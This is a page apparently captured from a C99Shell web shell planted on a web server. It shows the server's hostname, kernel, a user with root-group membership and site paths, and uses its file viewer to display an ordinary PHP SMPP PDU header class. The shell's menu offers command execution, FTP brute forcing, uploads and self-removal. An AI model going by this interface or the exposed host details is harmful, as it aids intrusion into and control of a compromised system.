!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.sms.picotech.app/public_html/vendor/alexandr-mironov/php8-smpp/src/Pdu/   drwxr-xr-x
Free 23.06 GB of 117.98 GB (19.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PDUHeader.php (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Smpp\Pdu;

/**
 * SMPP Protocol Data Unit (PDU) Header Structure
 *
 * Offsets and fields according to SMPP v3.4 specification:
 *
 * ┌────────┬──────────────────┬─────────────────────────────────────────────┐
 * │ Offset │ Field            │ Description                                 │
 * ├────────┼──────────────────┼─────────────────────────────────────────────┤
 * │ 0      │ command_length   │ Total length of PDU in octets               │
 * │ 4      │ command_id       │ SMPP command ID                             │
 * │ 8      │ command_status   │ Status of SMPP operation                    │
 * │ 12     │ sequence_number  │ Unique sequence number for PDU exchange     │
 * └────────┴──────────────────┴─────────────────────────────────────────────┘
 *
 * All fields are 4-byte unsigned integers in network byte order (big-endian).
 */
class PDUHeader
{
    public const 
PDU_HEADER_LENGTH 16;

    public function 
__construct(
        private 
int $commandLength,
        private 
int $commandId,
        private 
int $commandStatus,
        private 
int $sequenceNumber
    
)
    {

    }

    
/**
     * @return int
     */
    
public function getCommandLength(): int
    
{
        return 
$this->commandLength;
    }

    
/**
     * @return int
     */
    
public function getCommandId(): int
    
{
        return 
$this->commandId;
    }

    
/**
     * @return int
     */
    
public function getCommandStatus(): int
    
{
        return 
$this->commandStatus;
    }

    
/**
     * @return int
     */
    
public function getSequenceNumber(): int
    
{
        return 
$this->sequenceNumber;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--